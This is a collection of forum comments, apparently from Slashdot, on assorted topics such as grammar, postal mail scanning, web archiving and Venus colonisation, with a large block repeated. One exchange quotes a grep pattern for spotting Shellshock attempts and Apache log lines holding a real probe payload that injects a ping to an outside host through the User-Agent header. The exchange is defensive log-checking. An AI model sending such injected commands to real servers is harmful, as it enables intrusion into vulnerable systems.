Ok, I get it. The article says, "Breach victims part...". I thought the word "victims" was a noun, and "part" was a verb, as in the victims were parting from something.
The word [victims] here should be [victims'] (with an apostrophe after the word, meaning possessive). So [Breach victims] describes the noun "part". So the article means "the part of the lawsuit that belongs to the breach victims".
I love that they don't do reviews of free products or have advertising. They go out and buy things, and then test them. I think their reviews are much more trustworthy than random reviews.
I would pay a lot for an outdoor-does-it-all device.
I believe you can train a child/wife for this.
My kids love to "help" in the garden. The biggest problem is they get overly enthusiatic, and pull up nice plants when weeding. As for the wife, I always say, she's not a farmer's wife, I'm a farmer's husband. She does the bulk of the planting, weeding, etc.
If what I read is correct they weren't students at the university and so it had no contractual agreement with them. So what did it owe them?
If this had been a government site - that they were obliged to use to file their taxes or apply for a driving license or whatever - that'd be different.
But it isn't.
The trouble is that the University of California Berkley IS a government site. At least, they are a state sponsored public university that receives public funding.
Actually, after looking it up, I see that it is only his 3rd. For comparison, George W. Bush did 11, Bill Clinton did 36, George H.W. Bush did 29, and Ronald Reagan did 39. Is that because he's signing lots of things, or because the congress is sending him so few bills?
Algorithms are not AI. Everything you describe is simply a matter of following a human-generated set of instructions. That is not AI.
Algorithms are not AI. Everything you describe is simply a matter of following a human-generated set of instructions. That is not AI.
no, the difference is Big Data. Before "Big Data", machine translation, self-driving vehicles, chess, etc. were problems that were attempted to be solved by algorithms written by humans. These kinds of algorithms would be full of heuristics such as "if you are in situation X, perform behavior Y". This led to fragile, clunky code. Nowadays, with Big Data, the algorithms are more like, "see what everybody else is doing in situations similar to X"
It would be nice if they had some sort of code review in place for this sort of stuff. However, this isn't a paid project, so the developers writing this are doing arguably the best they can.
The code was reviewed. The commit log shows that the reviewer was Stephen Henson (thanks to slashdot user grub for pointing this out.)
Personally I wish we'd just man up and shoot the appropriate organisms into Venus' atmosphere to start the terraforming process.
Because breathable Earth-normal atmosphere is a lifting gas on Venus, we could make a relatively low budget colony without any terraforming. Just send a big balloon. It could ride the relatively stable upper atmospheric winds on Venus, circling the planet every 4 earth days, and be at standard pressure, so any hull breach would not result in explosive decompression.
The Internet Archive says that it subscribes to the The Oakland Archive Policy which for |requests by governments" says:
Archivists will exercise best-efforts compliance with applicable court orders Beyond that, as noted in the Library Bill of Rights, 'Libraries should challenge censorship in the fulfillment of their responsibility to provide information and enlightenment.'
Seems like this may just have slipped past them. Let's make sure they know they need to sort it out... Surely they only removed it from the Wayback Machine, not from the archive itself.
That's actually a really good point. I wonder if there's any justification in the Policy for retroactively removing content based on current robots.txt
Not much of an archive if they delete the past because someone says it should be deleted. Even Wikipedia allows you to go back and see all changes to an article.
except for page deletion. In that case, only certain people can view the history.
I was under the impression that there was a fairly simple amniotic fluid test which reveals gender. I could be wrong, but it seems to me that even if you have to resort to a genetic sample it still doesn't require DNA analysis, just a much simpler check for the existence of a Y chromosome - something that was discovered long before we even had the capacity to read the DNA itself.
However, for most cases, ultrasound is much preferred to drawing amniotic fluid (amniocentesis) due to the risk of introducing infection.
Then you've got food, and even an anorexic will have to pay $40/week for food
Really? Your grocery store doesn't have beans? Potatoes? Rice? Ramen? When my wife was in college, she spent about $30 - $40 a *month* on groceries.
I'm not saying it's great food, but it's at least some calories.
Except the USPS scans an image of every piece of mail that it processes, which is then stored in a database that law enforcement can access. So in effect, sending a postcard is very similar to an email, with regards to how the message is intercepted and stored by federal authorities.
My experience working for the USPS was that the images were kept for a very short time (a day or two max) and then deleted. It is possible that law enforcement would be able to get a copy, but they'd have to be quick. In addition, the Postal Inspection Service is pretty serious about postal employees not accessing the mail except as part of doing their jobs, but I don't know whether they give access to law enforcement.
On the other hand I think we would be justifiably irate if it turned out that the Post Office was photographing every single postcard and processing the information it contained into a permanent database.
Except that it turns out that the Post Office is actually doing that. It is photographing EVERY piece of mail and processing the information and putting it into a database. I did not examine the articles closely enough to be sure, so I do not know if that includes evaluating what is written on postcards. I suspect not, but I also suspect that the information contained in the article would not have answered the question of whether they do or not.
Postcards are *supposed* to have a designated address area, and a designated text area. That being said, people write all over the whole thing. It can lead to some mis-sorted mail if the address recognition software happens to recognize some of the text instead of the address. The post office does indeed collect images of the front (address side) of all mail, that's how it gets sorted. (OCR, and if the computer can't read it, it goes to a graphical display for a human being to decipher).
In all fairness this is one you can't blame on our culture. Blockbuster movies need to be international. International means they can't have as much culture. Pure action translates well to large audiences worldwide, the more plot the more character the worse it translates.
Though I do think it would be more interesting if we could perceive polarized light naturally like locusts (which they need to avoid flying into water).
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Ok, I get it. The article says, "Breach victims part ...". I thought the word "victims" was a noun, and "part" was a verb, as in the victims were parting from something.
The word [victims] here should be [victims'] (with an apostrophe after the word, meaning possessive). So [Breach victims] describes the noun "part". So the article means "the part of the lawsuit that belongs to the breach victims".
It should be "... victims [who are] part of ...".
Source https://www.bostonglobe.com/me... (paywall link) (disclaimer, I work for The Boston Globe)...
I love that they don't do reviews of free products or have advertising. They go out and buy things, and then test them. I think their reviews are much more trustworthy than random reviews.
I would pay a lot for an outdoor-does-it-all device.
I believe you can train a child/wife for this.
My kids love to "help" in the garden. The biggest problem is they get overly enthusiatic, and pull up nice plants when weeding. As for the wife, I always say, she's not a farmer's wife, I'm a farmer's husband. She does the bulk of the planting, weeding, etc.
If what I read is correct they weren't students at the university and so it had no contractual agreement with them. So what did it owe them?
If this had been a government site - that they were obliged to use to file their taxes or apply for a driving license or whatever - that'd be different.
But it isn't.
The trouble is that the University of California Berkley IS a government site. At least, they are a state sponsored public university that receives public funding.
Actually, after looking it up, I see that it is only his 3rd. For comparison, George W. Bush did 11, Bill Clinton did 36, George H.W. Bush did 29, and Ronald Reagan did 39. Is that because he's signing lots of things, or because the congress is sending him so few bills?
I spend a lot of time with my wife playing Pandemic. We love the fact that it is hard to win, but a cooperative rather than competitive play.
Having checked a number of on-line news sites, the best real-time coverage seems to be on XKCD
yes, that's how I found out about it.
You can check if you've been scanned for exploitable CGIs using something like (adjust apache logs path accordingly):
grep cgi /var/log/apache2/access*|egrep "};|}\s*;"
Thanks for the nice grep work - found one attempt to get my box to rat itself out via ping:
/var/log/apache2/access.log:89.207.135.125 - - [25/Sep/2014:03:52:14 -0500] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 1799 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"
Fortunately I was patched several hours prior to that.
Would there be any way for that probe to execute against a static 404 page - no cgi executing?
yep: /var/log/apache2/access.log:89.207.135.125 - - [25/Sep/2014:09:26:29 -0400] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 491 "-" "() { :;}; /bin/ping -c 1 198.101.206.138" That's pretty quick. Fortunately, I didn't have that cgi script, but still quite scary.
Like Lynx and Caracals.
obligatory xkcd: http://xkcd.com/1056/
Algorithms are not AI. Everything you describe is simply a matter of following a human-generated set of instructions. That is not AI.
Algorithms are not AI. Everything you describe is simply a matter of following a human-generated set of instructions. That is not AI.
no, the difference is Big Data. Before "Big Data", machine translation, self-driving vehicles, chess, etc. were problems that were attempted to be solved by algorithms written by humans. These kinds of algorithms would be full of heuristics such as "if you are in situation X, perform behavior Y". This led to fragile, clunky code. Nowadays, with Big Data, the algorithms are more like, "see what everybody else is doing in situations similar to X"
http://developers.slashdot.org...
tech.slashdot.org/story/01/05/17/1452217/scaling-walls-with-suction-cups
It would be nice if they had some sort of code review in place for this sort of stuff. However, this isn't a paid project, so the developers writing this are doing arguably the best they can.
The code was reviewed. The commit log shows that the reviewer was Stephen Henson (thanks to slashdot user grub for pointing this out.)
Personally I wish we'd just man up and shoot the appropriate organisms into Venus' atmosphere to start the terraforming process.
Because breathable Earth-normal atmosphere is a lifting gas on Venus, we could make a relatively low budget colony without any terraforming. Just send a big balloon. It could ride the relatively stable upper atmospheric winds on Venus, circling the planet every 4 earth days, and be at standard pressure, so any hull breach would not result in explosive decompression.
The Internet Archive says that it subscribes to the The Oakland Archive Policy which for |requests by governments" says:
Archivists will exercise best-efforts compliance with applicable court orders Beyond that, as noted in the Library Bill of Rights, 'Libraries should challenge censorship in the fulfillment of their responsibility to provide information and enlightenment.'
Seems like this may just have slipped past them. Let's make sure they know they need to sort it out... Surely they only removed it from the Wayback Machine, not from the archive itself.
That's actually a really good point. I wonder if there's any justification in the Policy for retroactively removing content based on current robots.txt
Not much of an archive if they delete the past because someone says it should be deleted. Even Wikipedia allows you to go back and see all changes to an article.
except for page deletion. In that case, only certain people can view the history.
Enders Game could be the best movie ever, Orson Scott Card is not getting a dime of my money.
That's true whether or not you watch the film, due to the nature of his option-only (no royalties) contract.
I was under the impression that there was a fairly simple amniotic fluid test which reveals gender. I could be wrong, but it seems to me that even if you have to resort to a genetic sample it still doesn't require DNA analysis, just a much simpler check for the existence of a Y chromosome - something that was discovered long before we even had the capacity to read the DNA itself.
However, for most cases, ultrasound is much preferred to drawing amniotic fluid (amniocentesis) due to the risk of introducing infection.
Then you've got food, and even an anorexic will have to pay $40/week for food
Really? Your grocery store doesn't have beans? Potatoes? Rice? Ramen? When my wife was in college, she spent about $30 - $40 a *month* on groceries.
I'm not saying it's great food, but it's at least some calories.
Except the USPS scans an image of every piece of mail that it processes, which is then stored in a database that law enforcement can access. So in effect, sending a postcard is very similar to an email, with regards to how the message is intercepted and stored by federal authorities.
My experience working for the USPS was that the images were kept for a very short time (a day or two max) and then deleted. It is possible that law enforcement would be able to get a copy, but they'd have to be quick. In addition, the Postal Inspection Service is pretty serious about postal employees not accessing the mail except as part of doing their jobs, but I don't know whether they give access to law enforcement.
On the other hand I think we would be justifiably irate if it turned out that the Post Office was photographing every single postcard and processing the information it contained into a permanent database.
Except that it turns out that the Post Office is actually doing that. It is photographing EVERY piece of mail and processing the information and putting it into a database. I did not examine the articles closely enough to be sure, so I do not know if that includes evaluating what is written on postcards. I suspect not, but I also suspect that the information contained in the article would not have answered the question of whether they do or not.
Postcards are *supposed* to have a designated address area, and a designated text area. That being said, people write all over the whole thing. It can lead to some mis-sorted mail if the address recognition software happens to recognize some of the text instead of the address. The post office does indeed collect images of the front (address side) of all mail, that's how it gets sorted. (OCR, and if the computer can't read it, it goes to a graphical display for a human being to decipher).
In all fairness this is one you can't blame on our culture. Blockbuster movies need to be international. International means they can't have as much culture. Pure action translates well to large audiences worldwide, the more plot the more character the worse it translates.
This one you can blame the 3rd world.
Movies need more action? Reminds me of http://xkcd.com/311
I have heard that facebook developers are generally responsive to bug reports, so just file one.
Though I do think it would be more interesting if we could perceive polarized light naturally like locusts (which they need to avoid flying into water).
Some people can: http://en.wikipedia.org/wiki/Haidinger's_brush